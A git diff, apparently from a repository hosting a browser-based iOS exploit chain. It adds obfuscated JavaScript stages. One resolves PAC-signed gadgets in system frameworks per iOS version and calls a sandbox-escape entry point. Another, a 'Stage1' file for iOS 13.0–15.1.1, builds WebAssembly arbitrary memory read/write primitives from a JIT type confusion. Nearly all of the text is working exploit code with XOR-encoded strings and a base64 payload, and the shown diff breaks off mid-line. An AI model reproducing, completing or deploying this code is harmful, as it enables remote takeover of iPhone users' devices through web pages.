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")); + this.xA = utilityModule.resolveUrlPadded(fixedValue1); + this.cA = fixedValue2; + this.iA = utilityModule.resolveUrlPadded(fixedValue3); + //alert("AAA" + this.xA); + this.GA = !0; + let C = document.URL; + for (C += "\0"; C.length % 4 != 0;) C += "\0"; + let I = navigator.userAgent; + for (this.OA = utilityModule.utf16Decode(C), I += "\0"; I.length % 4 != 0;) I += "\0"; + this.KA = utilityModule.utf16Decode(I), this.RA = new Offset64(0, 0), this.kA = new Offset64(0, 0), this.zA = new Offset64(0, 0); + } + length() { + return 2 * (this.yA.length + this.oA.length + this.xA.length + this.cA.length + this.OA.length + this.KA.length + this.iA.length); + } + FA(A) { + this.RA = A; + } + VA() { + return this.RA; + } + YA() { + return this.RA.add(2 * this.oA.length); + } + HA() { + let A = this.VA(); + return null !== A && (A = A.add(this.length())), A; + } + SA(A) { + const g = this.VA(); + let D = g.add(2 * this.oA.length).add(2 * this.yA.length); + const M = D.add(2 * this.cA.length), + C = M.add(2 * this.xA.length), + I = C.add(2 * this.OA.length), + w = I.add(2 * this.KA.length), + Q = w.add(2 * this.iA.length); + let B = null; + const N = new Offset64(g.it, g.et), + E = new Offset64(D.it, D.et), + T = new Offset64(M.it, M.et), + U = new Offset64(C.it, C.et), + L = new Offset64(I.it, I.et), + s = new Offset64(w.it, w.et), + k = new Offset64(A.it, A.et), + F = new Offset64(Q.it, Q.et), + S = new Offset64(this.kA.it, this.kA.et), + Y = new Offset64(this.zA.it, this.zA.et); + let y = new Offset64(0, 0), + o = new Offset64(0, 0), + c = new Offset64(0, 0), + i = new Offset64(0, 0), + G = new Offset64(0, 0), + O = new Offset64(0, 0), + K = new Offset64(0, 0), + R = new Offset64(0, 0), + z = new Offset64(0, 0); + const V = new Offset64(0 | platformModule.platformState.kn, 0), + H = new Offset64(platformModule.platformState.Pn ? 1 : 0, 0); + if (null !== platformModule.platformState.caller && !0 === platformModule.platformState.qn) { + const A = platformModule.platformState.pacBypass, + g = platformModule.platformState.exploitPrimitive, + D = platformModule.cr(), + M = D.Sh(), + C = D.bh("__TEXT", "__text"), + I = D.dlsym("_ZN3JSC16jitOperationListE"), + w = g.readRawBigInt(I), + Q = g.read32(w - 4), + B = function (A, D) { + for (let M = 0; M < Q; M++) { + const I = g.readRawBigInt(w + 16 * M), + Q = 8; + if (C.qe <= I && I <= C.qe + C.Oo - Q && g.read32(I) === A && g.read32(I + 4) === D) return g.readInt64FromOffset(w + 16 * M + 8); + } + return utilityModule.Int64.fromNumber(0); + }(0xd289222d, 0xd71f0c4d); + if (B.Et()) throw new Error("B.Et()"); + K = new Offset64(B.it, B.et); + const N = 0x4911, + E = function (A, D) { + const C = M.Jh(A)._h("__TEXT", "__text"), + I = C.qe + C.Oo - 4 * D.length; + for (let A = C.qe; A <= I; A += 4) { + let M = !0; + for (let C = 0; C < D.length; C++) + if (g.read32(A + 4 * C) !== D[C]) { + M = !1; + break; + } if (M) return A; + } + window.log("ERROR: returning not found of " + A + ": " + D); + return 0; + }, + T = function (A, g, D) { + const M = g(gA.Int64.fromNumber(A), gA.Int64.fromNumber(D)); + return new Offset64(M.it, M.et); + }; + let U = 0, + L = 0; + // Select framework and gadget offsets based on iOS version (P.platformState.iOSVersion) + + if (platformModule.platformState.iOSVersion >= 170100) { + + // iOS ≥ 17.1 + U = E( + "/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing", + [ + 0xaa0c03e8, + 0xd29b8c11, + 0xd71f0951 + ] + + ); + + // constant used later when resolving additional gadgets + L = 0xDC60; + + } else if (platformModule.platformState.iOSVersion >= 170000) { + + // iOS 17.0 + U = E( + "/System/Library/Frameworks/CoreML.framework/CoreML", + [ + 0xaa0c03e8, + 0xd2909cd1, + 0xd71f0951 + ] + + ); + + L = 0x84E6; + + } else if (platformModule.platformState.iOSVersion >= 160400) { + + // iOS ≥ 16.4 + U = E( + "/System/Library/Frameworks/CoreML.framework/CoreML", + [ + 0xaa0c03e8, + 0xd29e65b1, + 0xd71f0951 + ] + + ); + + L = 0xF32D; + + } else if (platformModule.platformState.iOSVersion >= 160000) { + + // iOS 16.0 – 16.3 + U = E( + "/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing", + [ + 0xaa0c03e8, + 0xd2935db1, + 0xd71f0951 + ] + + ); + + L = 0x9AED; + + } else { + + // Older systems fallback + U = E( + "/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox", + [ + 0xaa0c03e8, + 0xd29dce11, + 0xd71f0951 + ] + + ); + + L = 0xEE70; + } + + // Fail if framework / gadget lookup failed + if (U === 0x0) throw new Error("U === 0x0"); + + // Resolve first stage gadget chain + G = T(U, A.pacia.bind(A), N); + + let s = 0x0; + // Select another framework + offsets depending on iOS version + if (platformModule.platformState.iOSVersion >= 170100) { + + // iOS ≥ 17.1 + s = E( + "/System/Library/PrivateFrameworks/PassKitCore.framework/PassKitCore", + [0xaa0b03e2, 0xd28c7331, 0xd71f09d1] + + ); + + // 64-bit constant (low/high) + R = new Offset64(0x6399, 0x0); + + } else if (platformModule.platformState.iOSVersion >= 170000) { + + // iOS 17.0 + s = E( + "/System/Library/PrivateFrameworks/AppleMediaServices.framework/AppleMediaServices", + [0xaa0b03e2, 0xd29bc671, 0xd71f09d1] + + ); + + R = new Offset64(0xDE33, 0x0); + + } else if (platformModule.platformState.iOSVersion >= 160400) { + + // iOS ≥ 16.4 + s = E( + "/System/Library/PrivateFrameworks/SpringBoard.framework/SpringBoard", + [0xaa0f03e2, 0xd29336f1, 0xd71f09d1] + + ); + + R = new Offset64(0x99B7, 0x0); + + } else if (platformModule.platformState.iOSVersion >= 160000) { + + // iOS 16.0 – 16.3 + s = E( + "/System/Library/Frameworks/CoreML.framework/CoreML", + [0xaa0f03e2, 0x528b636d, 0x72a539cd, 0xaa0903ee, 0xd2820371, 0xd71f0991] + + ); + + R = new Offset64(0x101B, 0x0); + + } else { + + // Older systems fallback + s = E( + "/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox", + [0xaa0f03e2, 0xaa0c03e8, 0xd29dce11, 0xd71f0951] + + ); + + R = new Offset64(0xEE70, 0x0); + } + + // Fail if lookup failed + if (s === 0x0) throw new Error("s === 0x0"); + + // Resolve second gadget chain + O = T(s, A.pacia.bind(A), N); + + + // Resolve additional runtime addresses using L + y = T(A.La.Dt().yt(), A.pacda.bind(A), L); + o = T(A.Xa.Dt().yt(), A.pacda.bind(A), L); + c = T(A.Ga.Dt().yt(), A.pacda.bind(A), L); + i = T(A.Ma.Dt().yt(), A.pacda.bind(A), L); + + + // Lookup symbol "dlsym" inside libdyld + const k = M.Jh("/usr/lib/system/libdyld.dylib").dlsym("dlsym"); + + // Construct 64-bit address from JS number + z = new Offset64( + k >>> 0x0, // low 32 bits + k / 0x100000000 >>> 0x0 // high 32 bits + ); + } + return 0 === this.cA.length && (D = 0), B = CA(k, F, 0, N, 2 * this.oA.length, T, E, U, S, L, s, y, o, c, i, K, G, O, R, z, Y, V, H), this.oA + B + this.cA + this.xA + this.OA + this.KA + this.iA; + } +} +// ── Module export ──────────────────────────────────────────────────────── +r.lA = () => {// Entry point: resolves APIs, builds payload, executes sandbox escape + const A = globalThis.moduleManager.getModuleByName("b5135768e043d1b362977b8ba9bff678b9946bcb"); + return A._d(), A.qd(), executeSandboxEscape(); +}; +return r; \ No newline at end of file diff --git a/group.html b/group.html new file mode 100644 index 0000000..a235716 --- /dev/null +++ b/group.html @@ -0,0 +1,598 @@ + + + + + + + + group + + + + + + + + + + + + + + \ No newline at end of file diff --git a/other/README.md b/other/README.md new file mode 100644 index 0000000..60df888 --- /dev/null +++ b/other/README.md @@ -0,0 +1,3 @@ +# Other + +Stores random files like dumped dylib and original files diff --git a/other/Stage1_13.0_15.1.1_buffout.js b/other/Stage1_13.0_15.1.1_buffout.js new file mode 100644 index 0000000..553d908 --- /dev/null +++ b/other/Stage1_13.0_15.1.1_buffout.js @@ -0,0 +1,473 @@ +let r = {}; +const x = globalThis.obChTK.hPL3On(([1, 3, 2, 6, 4, 6, 4, 2, 80, 2, 6, 4, 3, 13, 86, 85, 85, 80, 4, 81, 1, 3, 81, 2, 80, 13, 81, 87, 13, 7, 5, 6, 4, 87, 4, 82, 1, 6, 0, 3].map(x => { + return String.fromCharCode(x ^ 52); + }).join(""))), + { + N: G, + Vt: m, + v: o, + I: u + } = globalThis.obChTK.hPL3On(([87, 85, 84, 80, 82, 80, 82, 84, 6, 84, 80, 82, 85, 91, 0, 3, 3, 6, 82, 7, 87, 85, 7, 84, 6, 91, 7, 1, 91, 81, 83, 80, 82, 1, 82, 4, 87, 80, 86, 85].map(x => { + return String.fromCharCode(x ^ 98); + }).join(""))), + P = globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => { + return String.fromCharCode(x ^ 102); + }).join(""))); +class E { + hr(t, r, i = 0) { + let s = ""; + for (let h = 0; h < r; h += 8) { + const r = this.br(t + h + i), + o = this.br(t + h + i + 4); + s += (G(t + h)) + ([96].map(x => { + return String.fromCharCode(x ^ 72) + }).join("")) + (G(h)) + ([93, 78, 84].map(x => { + return String.fromCharCode(x ^ 116) + }).join("")) + (e = r, n = o, ([122, 50].map(x => { + return String.fromCharCode(x ^ 74) + }).join("")) + (n.toString(16)) + ([74, 74, 74, 74, 74, 74, 74, 74].map(x => { + return String.fromCharCode(x ^ 122) + }).join("")) + (e.toString(16)).slice(-8)) + ([123].map(x => { + return String.fromCharCode(x ^ 113) + }).join("")) + } + var e, n + } + wr(t, r, i) { + for (let s = 0; s < i; s += 4) this.dr(t + s, r) + } + gr(t, r, i) { + if (i % 4 != 0) throw new Error(""); + this.yr = !0; + for (let s = 0; s < i; s += 4) this.dr(t.H(s).W(), this.br(r.H(s).W())); + this.yr = !1 + } + ir(t) { + this.yr = !0; + const r = this.br(t.W()); + return this.yr = !1, r + } + Ur(t) { + this.yr = !0; + const r = this.br(t.W()), + i = this.br(t.H(4).W()); + return this.yr = !1, new x.Vt(r, i) + } + mr(t) { + this.yr = !0; + const r = this.br(t.W()), + i = this.br(t.H(4).W()); + return this.yr = !1, x.T(r, i) + } + Ar(t) { + const r = t.it % 4; + t = t.Bt(r), this.yr = !0; + const i = this.br(t.W()) >> 8 * r & (1129144169 ^ 1129144214); + return this.yr = !1, i + } + Tr(t, r = (863070819 ^ 863071075)) { + let i = ""; + for (; i.length < r;) { + const r = this.Ar(t.H(i.length)); + if (0 === r) break; + i += String.fromCharCode(r) + } + return i + } + Pr(t, r) { + let i = ""; + for (; i.length < r;) { + const r = this.Ar(t.H(i.length)); + i += String.fromCharCode(r) + } + return i + } + Sr(t) { + const r = t % 4; + let i; + return i = !0 === this.yr ? x.q(t, -r) : t - r, this.br(i) >> 8 * r & (1362710317 ^ 1362710482) + } + nr(t) { + const r = this.br(t), + i = this.br(t + 4); + if (i > o) throw new Error(""); + return x.T(r, i) + } + Dr(t, r = !1) { + const i = this.br(t); + let s = this.br(t + 4); + return (!0 === r || globalThis.obChTK.hPL3On(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => { + return String.fromCharCode(x ^ 69); + }).join(""))).zn.Nn.zohDDd) && (s &= o), x.T(i, s) + } + rr(t) { + const r = this.br(t), + i = this.br(t + 4); + return new x.Vt(r, i) + } + Er(t, r = (960982349 ^ 960982093)) { + let i = (1665430874 ^ 482052773); + ([0, 27, 3, 12, 11, 28].map(x => { + return String.fromCharCode(x ^ 110); + }).join("")) == typeof r && (i = r); + let s = ""; + for (; s.length < i;) { + const r = this.Sr(t + s.length); + if (0 === r) break; + s += String.fromCharCode(r) + } + return s + } + Nr(t, r) { + let i = ""; + for (; i.length < r;) { + const r = this.Sr(t + i.length); + i += String.fromCharCode(r) + } + return i + } + tr(t) { + this._r.a = t; + const r = this.nr(this.Wr); + return this._r.a = null, r + } + pr(t) { + const r = new DataView(new ArrayBuffer(t.length + 1)); + x.D(r); + for (let i = 0; i < t.length; i++) r.setUint8(i, t.charCodeAt(i)); + return this.Mr(r) + } + Or(t, r = !1) { + const i = new ArrayBuffer(t), + s = new Uint8Array(i); + x.D(i); + const e = this.tr(s), + n = this.Dr(e + globalThis.obChTK.hPL3On(([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map(x => { + return String.fromCharCode(x ^ 103); + }).join(""))).zn.Nn.oGn3OG); + if (!0 === r) { + const t = this.tr(i), + r = this.Dr(t + globalThis.obChTK.hPL3On(([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))).zn.Nn.CN3rr_); + let s = this.br(r + globalThis.obChTK.hPL3On(([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))).zn.Nn.EMDU4o); + s += 32, this.dr(r + globalThis.obChTK.hPL3On(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => { + return String.fromCharCode(x ^ 100); + }).join(""))).zn.Nn.EMDU4o, s) + } + return n + } + Mr(t, r = !1) { + t instanceof ArrayBuffer && (t = new Int8Array(t)); + const i = this.tr(t); + return this.Dr(i + globalThis.obChTK.hPL3On(([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map(x => { + return String.fromCharCode(x ^ 121); + }).join(""))).zn.Nn.oGn3OG, r) + } + Br(t, ...r) { + const i = new Array(r.length + 10); + for (let t = 0; t < r.length; t++) i[t] = this.rr(r[t].Ir); + try { + for (let t = 0; t < r.length; t++) this.Jr(r[t].Ir, r[t].Zt); + t() + } finally { + for (let t = 0; t < r.length; t++) this.Jr(r[t].Ir, i[t]) + } + } + constructor(t, r, i, s) { + const e = new Uint8Array([0, 97, (1682982991 ^ 1682982972), (1886218801 ^ 1886218844), 1, 0, 0, 0, 1, 17, 4, 96, 0, 1, (1313567566 ^ 1313567538), 96, 1, (1685473392 ^ 1685473292), 0, 96, 0, 1, (912485953 ^ 912485950), 96, 1, (1346716738 ^ 1346716733), 0, 3, 5, 4, 0, 1, 2, 3, 4, 4, 1, (1899447926 ^ 1899447814), 0, 1, 6, 27, 3, (1194619715 ^ 1194619709), 1, 66, (1097300330 ^ 1097300441), (1968387412 ^ 1968387472), (1315793976 ^ 1315794172), (1917281866 ^ 1917281938), 11, 11, (1766807890 ^ 1766807853), 1, 65, (1868981037 ^ 1868981176), (1163414130 ^ 1163414239), (1769355609 ^ 1769355655), (1817592674 ^ 1817592742), (1178166578 ^ 1178166603), 11, (1664299843 ^ 1664299836), 1, 65, (1312319557 ^ 1312319734), (961770600 ^ 961770668), (1968457266 ^ 1968457462), 25, 11, 7, 17, 4, 1, 97, 0, 0, 1, 98, 0, 1, 1, 99, 0, 2, 1, (1481205037 ^ 1481205065), 0, 3, 10, 27, 4, 5, 0, 35, 0, (1851095350 ^ 1851095433), 11, 7, 0, 32, 0, (1194473016 ^ 1194473093), 36, 0, 11, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]).buffer, + n = new WebAssembly.Module(e, {}), + h = new WebAssembly.Instance(n, {}), + o = new WebAssembly.Instance(n, {}); + this.Vr = h, this.Cr = o, this.Kr = "a", this.Xr = "b", this.vr = "c", this.Hr = "d", this.$r = new ArrayBuffer(8), this.Gr = new Uint32Array(this.$r), this._r = { + a: !1 + }, this.Wr = 0, this.yr = !1; + for (let t = 0; t < 22; t++) this.Vr.exports[this.vr](0), this.Vr.exports[this.Hr](0, 0), this.Vr.exports[this.Kr](0), this.Vr.exports[this.Xr](0, 0); + const a = r => { + r[0] = 1; + const s = t(r); + return i(s + globalThis.obChTK.hPL3On(([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))).zn.Nn.zpy6Mu) + globalThis.obChTK.hPL3On(([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map(x => { + return String.fromCharCode(x ^ 118); + }).join(""))).zn.Nn.xK8SW0 + }, + c = a(o), + f = a(h); + this.Yr = -8, this.Zr = 0, this.jr = i(c), this.kr = c, r(c, f + this.Zr), this.Qr = this.Cr.exports[this.Kr](), this.Wr = t(this._r) + globalThis.obChTK.hPL3On(([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))).zn.Nn.fGOrHX, s() + } + zr() { + const t = JSON.parse(([51, 88, 53].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))), + r = JSON.parse(([56, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 62].map(x => { + return String.fromCharCode(x ^ 99); + }).join(""))); + t[0] = !1, r[0] = 1.2; + const i = { + Fr: .1, + Lr: .2, + Rr: .3, + qr: .4 + }, + s = this.tr(i), + e = this.tr(r), + n = this.tr(t), + h = this.nr(e + 8), + o = this.nr(n + 8); + for (let t = 0; t < 16; t += 4) this.dr(s + 20 + t, this.br(e + t)); + const a = x.C(i.Lr); + this.ti(o, s + 20); + const c = t[0]; + t[0] = void 0, i.Lr = x.Y(a, x._(this.kr) - P.zn.Fn), i.Rr = x.Y(x.F(this.kr), (1932555622 ^ 1933232568)), this.Cr.exports[this.Xr](this.Qr), c[0] = x.J(this.jr), i.Lr = x.Y(a, x._(h) - P.zn.Fn), i.Rr = x.Y(x.F(h), (1802856259 ^ 1803541405)) + } + br(t) { + return this.ri(t), this.Vr.exports[this.vr](0) >>> 0 + } + dr(t, r) { + this.ri(t), this.Vr.exports[this.Hr](0 | r) + } + ti(t, r) { + this.dr(t, r >>> 0), this.dr(t + 4, r / 4294967296 >>> 0) + } + Jr(t, r) { + this.dr(t, r.it), this.dr(t + 4, r.et) + } + write32x2(t, r, i) { + this.dr(t, r), this.dr(t + 4, i) + } + ri(t) { + if (!1 === this.yr) { + if (t < (1178892908 ^ 1178958444) || t != t) throw new Error(""); + this.Cr.exports[this.Xr](x.J(t + this.Yr)) + } else this.Cr.exports[this.Xr](x.q(t, this.Yr)) + } +} +return r.si = function() { + let t = new Array((1198673506 ^ 1198673906)); + t.fill([]); + const r = new ArrayBuffer(64), + i = new Uint32Array(r), + s = new Float64Array(r), + e = (t, r) => (t = Math.ceil(t), r = Math.ceil(r), Math.floor(Math.random() * (r - t) + t)), + n = e(1, 8) << 8 | e(1, 8) << 4 | e(1, 8) << 0, + h = e(1, (1953917522 ^ 1955173805)), + a = (t, r) => { + if (t > (963410543 ^ 963413392) || t < 0) throw new Error(""); + if (r > (1682133583 ^ 1682133680) || r < 0) throw new Error(""); + i[1] = n << 20 | 4 << 16 | t, i[0] = r << 24 | h; + const e = s[0]; + if (!0 === isNaN(e)) throw new Error(""); + return e + }; + let c = null, + f = 0, + l = null, + b = !1, + u = -1, + w = -1; + const d = new Function("t", "e", "r", "f", "n", "i", "o", "s", "u", "c", atob("Y29uc3QgbD10O2xldCBhPWU7Y29uc3QgYj1mO2NvbnN0IGs9bjtjb25zdCBkPWk7Y29uc3QgZz1sLmxlbmd0aDtmb3IobGV0IHQ9MDt0PDI7dCsrKXtpZihiPT09dHJ1ZSl7aWYoIShhPT09LTIxNDc0ODM2NDgpKXJldHVybi0xfWVsc2UgaWYoIShhPjIxNDc0ODM2NDcpKXJldHVybi0yO2lmKGs9PT0wKWE9MDtpZihhPGcpe2lmKGshPT0wKWEtPTIxNDc0ODM2NDctNztpZihhPDApcmV0dXJuLTM7bGV0IHQ9bFthXTtpZihkKXtsW2FdPXI7aWYodT09PTApdD1vW3NdWzBdO2Vsc2Ugb1tzXVswXT1jfXJldHVybiB0fWlmKHQ+MClicmVha31yZXR1cm4tNA==")), + g = new Array(16).fill([]).map(((t, r) => { + const i = JSON.parse(([11, 11, 97, 126, 97, 124, 112, 97, 126, 98, 13, 124, 112, 11, 97, 126, 98, 124, 112, 97, 126, 99, 13, 124, 112, 11, 97, 126, 99, 124, 112, 99, 126, 100, 13, 13].map(x => { + return String.fromCharCode(x ^ 80); + }).join(""))); + for (const t of i) t[0] = .1 + r, t["a" + r] = r; + return i + })), + y = t.length / 2 >>> 0; + t = t.map(((t, r) => { + const i = JSON.parse(([40, 67, 93, 66, 95, 83, 67, 93, 64, 95, 83, 66, 93, 66, 95, 83, 65, 93, 64, 46].map(x => { + return String.fromCharCode(x ^ 115); + }).join(""))); + if (i[0] = .1 + r, r !== y) { + i[0] = []; + for (const t in i) 0 !== t && (i[t] = a(r, t)) + } + return i + })); + const U = t[y]; + for (let t = 0; t < (1967745881 ^ 1967532313); t++) c = U, l = t % 2 != 0 ? .1 : .2, f = -(4294967296 + (1868837733 ^ -278645915)), u = !0, w = 0, d(c, f, l, u, w, !0, g[t % g.length], 0, t % 2, .1 + t), f = (1970616119 ^ 176867528) - t % 3, u = !(1 & t), w = 0 + t % 3, d(c, f, l, u, w, !1, g[t % g.length], 0, t % 2, .1 + t); + c = U, f = -(4294967296 + (1131836515 ^ -1015647133)), u = !0, w = 1, l = !0, b = !1; + const A = d(c, -(4294967296 + (1835162183 ^ -312321465)), l, u, w, !1, g[0], 0, 0, 0), + T = (S = A, s[0] = S, { + ei: i[1] >> 20 & (1886273876 ^ 1886277291), + ni: i[1] >> 16 & 15, + hi: (1414165553 ^ 1414171598) & i[1], + oi: i[0] >> 24 & (1432440433 ^ 1432440462), + ai: (1365601399 ^ 1369084808) & i[0] + }); + var S; + if (T.ei !== n) throw new Error(""); + if (T.ai !== h) throw new Error(""); + const D = (1768516673 ^ 1768451137) * (T.ni - 4); + P.zn.Fn = D; + const N = x.Z(1, 0, 34, 7), + _ = { + a: .1, + b: .2, + c: .3, + d: .4 + }; + t[T.hi][T.oi] = _; + let W = d(c, -(4294967296 + (858804079 ^ -1288679569)), l, u, w, !1, g[0], 0, 0, 0); + const p = x.P(W) + 20, + M = x.J(p), + O = JSON.parse(([24, 114, 109, 113, 111, 99, 112, 109, 119, 111, 99, 123, 109, 112, 30].map(x => { + return String.fromCharCode(x ^ 67); + }).join(""))); + t[T.hi][T.oi] = O, W = d(c, -(4294967296 + (1715885637 ^ -431598011)), l, u, w, !1, g[0], 0, 0, 0); + x.P(W); + const B = new E((r => { + t[T.hi][T.oi] = r; + const i = d(c, -(4294967296 + (1766343728 ^ -381139920)), l, u, w, !1, g[0], 0, 0, 0); + return t[T.hi][T.oi] = void 0, x.P(i) + }), ((r, i) => { + const s = x.F(r), + e = x._(r); + _.b = x.Y(N, e - D), _.c = x.Y(s, (1298362994 ^ 1298959757)); + const n = x.J(i); + d(c, -(4294967296 + (1481985378 ^ -665498270)), M, u, w, !0, t[T.hi], T.oi, 1, n), d(c, -(4294967296 + (1095856432 